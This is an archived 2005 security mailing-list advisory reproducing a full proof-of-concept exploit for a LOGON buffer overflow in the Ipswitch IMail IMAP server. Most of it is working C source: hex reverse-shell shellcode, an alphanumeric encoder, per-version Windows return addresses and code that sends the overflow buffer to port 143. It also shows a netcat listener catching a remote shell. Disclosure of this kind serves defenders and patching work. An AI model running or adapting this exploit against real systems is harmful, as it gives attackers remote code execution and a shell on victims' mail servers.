

[EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0044.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 06/12/05

To: list@securiteam.com

Date: 12 Jun 2005 13:26:14 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

SUMMARY

Ipswitch Collaboration Suite (ICS) provides "e-mail and real-time collaboration, calendar and contact list sharing, and protection from SPAM and viruses, all delivered in an easy to use package designed with the unique needs of small and medium sized businesses in mind".

Ipswitch IMail was found vulnerable for multiple buffer overflow vulnerabilities that allow attackers to remotely execute arbitrary code on the server. The following exploit code will try to use the LOGON command buffer overflow to try and cause the Ipswitch IMail daemon to execute arbitrary code.

DETAILS

Vulnerable Systems:

- * Ipswitch IMail version 8.13

- * Ipswitch IMail version 8.12

Immune Systems:

- * Ipswitch IMail Server 8.2 Hotfix 2

Securiteam: [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

Exploit:

/*

IpSwitch IMAP Server LOGON stack overflow.

Software Hole discovered by iDEFENSE

POC written by nolimit and BuzzDee

First, some information for the few of you that know how this stuff works. The reason you see no SP2 or 2003 offsets is because of Windows SEH checks.

Thats right, in this one situation, They've stopped hackers from exploiting the machine.

At least with as much research as I care to do. The problem lies in the fact that only alpha numeric memory addresses can be used in this exploit. So what lies within the few regions of memory that is alpha numeric safe?

Only system

DLLs.(Well also a 7000 byte TEB block section, which doesn't really produce much either).

So any SEH address overwritten that points to a system DLL will fail past Windows XP SP2.

From what I've read and the few tricks I've tried, There's no way currently to get around the protection in my situation.

For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because of two reasons, While I've developed along with skylined an alpha numeric shellcode

to handle the stack protections in Windows XP/2K3, I don't think he's ready to release

it yet. So, when it does come around, you can use that and re-adjust the stack accordingly

for proper exploitation of SP1.

The size we have on the stack is too small for a bindshell, but big enough for a reverse shell!

So I use ALPHA2's decoder and encoder (modified) to write info to reverse shell, then encode it.

visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php for more information.

Now, for the "impact assessment".

Because this doesn't work on SP2 / 2003, the 53 million users that use IMail should

mostly be safe from complete ownage. But, Do not let this fact let you not patch your

server! This exploit, sent with any offset, will still crash your IMAP server!

With that said, There is still a small amount of servers online that run one of these

targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the

Securiteam: [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

push administrators need to patch their software.

For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.

```
C:\HACKING\tools>nc -vv -l -p 3333
listening on [any] 3333 ...
DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com
connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985–2000 Microsoft Corp.
```

```
C:\WINNT\system32>_
```

Questions? Comments?

nolimit@coreiso.org

*/

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <winsock.h>
```

```
#pragma comment(lib,"ws2_32")
```

```
void cmdshell (int sock);
```

```
long gimmeip(char *hostname);
```

```
char buffer[2500];
```

```
//special stuff
```

```
char* alphaEncodeShellcode(char *shellcode, int size);
```

```
// un-crypted shellcode that we'll fill our retn values, then encode.
```

```
char unEncShellcode[] =
```

```
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
```

```
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
```

```
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
```

```
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
```

```
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
```

```
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
```

```
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
```

```
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
```

```
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
```

```
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
```

```
//160 above, ip next 4 bytes then, pass 2 theres port
```

```
"\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9"
```

```
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
```

```
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
```

```
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
```

```
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
```

```
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
```

```
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
```

```
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
```

Securiteam: [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

```
//modified encoded alpha num SUB ECX, 2E8 JMP ECX
char jmpBack[] =
"VTX630VXH49HHHPHYAAQhZYYYYYAAQQDDDDd36FFFFFFXVj0PP"
"TUPPa301089IIIIIIIIIIIIII7QZjAXP0A0AAQ2AB2BB0BBABXP8A"
"BuJloqYyKHTB30WpyoKQAPA";
int paddingSize; // change when changing shellcode. 676 bytes -
shellcodesize = this.
char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED
char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3
char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2
char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx)
char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0
char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot
so JMP EBX is ok
```

```
int main(int argc, char *argv[])
{
    WSADATA wsaData;
    struct sockaddr_in targetTCP;
    int sockTCP;
    unsigned short port = 143;
    long ip;
    if(argc < 5)
    {
        printf("IpSwitch IMAP server Remote Stack Overflow.\n"
            "This exploit uses a reverse shell payload.\n"
            "Usage: %s [retnaddr] [retport] [target] [address]
<port_to_exploit>\n"
            " eg: %s 192.168.1.94 1564 2 192.168.1.95\n"
            "Targets:\n"
            "1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 2000 SP3\n"
            "4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n"
            "Read comments in source code for more info.\n"
            "Coded by nolimit@CiSO and BuzzDee.\n", argv[0], argv[0]);
        return 1;
    }
    if(argc==6)
        port = atoi(argv[5]);
        WSAStartup(0x0202, &wsaData);
        printf("[*] Target:\t%s \tPort: %d\n\n", argv[4], port);
        ip=gimmeip(argv[4]);
        targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(port);
        //set ip/port specified. Probably could have done this easier, but
        whatever.
        unsigned long revIp = gimmeip(argv[1]);
        unsigned long *revPtr = (unsigned long *)&unEncShellcode;
        revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160
        bytes away.
        *revPtr = revIp;
```

Securiteam: [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

```
char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past
int rPort = atoi(argv[2]);
char *revPortPtr = (char *)&rPort;
memcpy(portPtr,revPortPtr+1,1);
memcpy(portPtr+1,revPortPtr,1);
//done formatting, now lets encode it.
char *shellcode =
alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));
paddingSize = 676 - strlen(shellcode);
//form buffer here.
memset(buffer,'\x00',2500);
strcpy(buffer,"A001 LOGIN user@");
memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide
strcat(buffer,shellcode);
strcat(buffer,"r!s!"); //jmp over SE handler
switch(atoi(argv[3]))
{
case 1:
printf("[*] Targetting Windows XP SP 0..\n");
strcat(buffer,jmpXPSP0);
break;
case 2:
printf("[*] Targetting Windows 2000 SP4..\n");
strcat(buffer,jmp2KSP4);
break;
case 3:
printf("[*] Targetting Windows 2000 SP3..\n");
strcat(buffer,jmp2KSP3);
break;
case 4:
printf("[*] Targetting Windows 2000 SP2..\n");
strcat(buffer,jmp2KSP2);
break;
case 5:
printf("[*] Targetting Windows 2000 SP1..\n");
strcat(buffer,jmp2KSP1);
break;
case 6:
printf("[*] Targetting Windows 2000 SP0..\n");
strcat(buffer,jmp2KSP0);
break;
default:
printf("Target error.\n");
return 1;
break;
}
memset(buffer+strlen(buffer),'\x41',29);
strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer
memset(buffer+strlen(buffer),'\x41',1323);
strcat(buffer," nolimits\r\n");
//buffer formed
```

Securiteam: [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

```
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
    printf("[x] Socket not initialized! Exiting...\n");
    WSACleanup();
    return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) !=
0)
{
    printf("[*] Connection to host failed! Exiting...\n");
    WSACleanup();
    exit(1);
}
printf("[*] Sending buffer.\n");
Sleep(1000);
if (send(sockTCP, buffer, strlen(buffer),0) == -1)
{
    printf("[x] Failed to inject packet! Exiting...\n");
    WSACleanup();
    return 1;
}
Sleep(1000);
closesocket(sockTCP);
WSACleanup();
printf("Exploit sent. Reverse Shell should be coming if everything
worked.\n");
return 0;
}

/*****/
long gimmeip(char *hostname)
{
    struct hostent *he;
    long ipaddr;

    if ((ipaddr = inet_addr(hostname)) < 0)
    {
        if ((he = gethostbyname(hostname)) == NULL)
        {
            printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
            WSACleanup();
            exit(1);
        }
        memcpy(&ipaddr, he->h_addr, he->h_length);
    }
    return ipaddr;
}

/*****/
```

Securiteam: [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

//Below here, all code is modified code from ALPHA 2: Zero-tolerance by
Berend-Jan Wever.
// aka Skylined <skylined@edup.tudelft.nl>. Hats off to him.

```
//ecx ascii decoder.
#define ecx_mixedcase_ascii_decoder
"IIIIIIIIIIII7QZjAXP0A0AAkAAQ2AB2BB0BBABXP8ABuJI"
// shellcode ptr & size
char* alphaEncodeShellcode(char *shellcode, int size)
{
  int i, input, A, B, C, D, E, F;
  char* valid_chars =
"0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  //first, create a big enough shellcode memory section
  char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder)
+ (size * 2)));
  strcpy(encShellcode,ecx_mixedcase_ascii_decoder);
  char buff[4];
  int z=0;
  for(;z < size;z++)
  {
    // encoding AB -> CD 00 EF 00
    A = (shellcode[z] & 0xf0) >> 4;
    B = (shellcode[z] & 0x0f);

    F = B;
    // E is arbitrary as long as EF is a valid character
    i = rand() % strlen(valid_chars);
    while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
    E = valid_chars[i] >> 4;
    // normal code uses xor, unicode-proof uses ADD.
    // AB ->
    D = 0 ? (A-E) & 0x0f : (A^E);
    // C is arbitrary as long as CD is a valid character
    i = rand() % strlen(valid_chars);
    while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
    C = valid_chars[i] >> 4;
    //edit, use curChar ptr to strcpy it.
    //printf("%c%c", (C<<4)+D, (E<<4)+F);
    sprintf(buff,"%c%c", (C<<4)+D, (E<<4)+F);
    strcat(encShellcode,buff);
  }
  return encShellcode;
}

/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:nolimit@coreiso.org>
nolimit.

Securiteam: [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)

The advisory can be found at:

<<http://www.securiteam.com/windowsntfocus/5LP0Q1FFPG.html>>

<http://www.securiteam.com/windowsntfocus/5LP0Q1FFPG.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.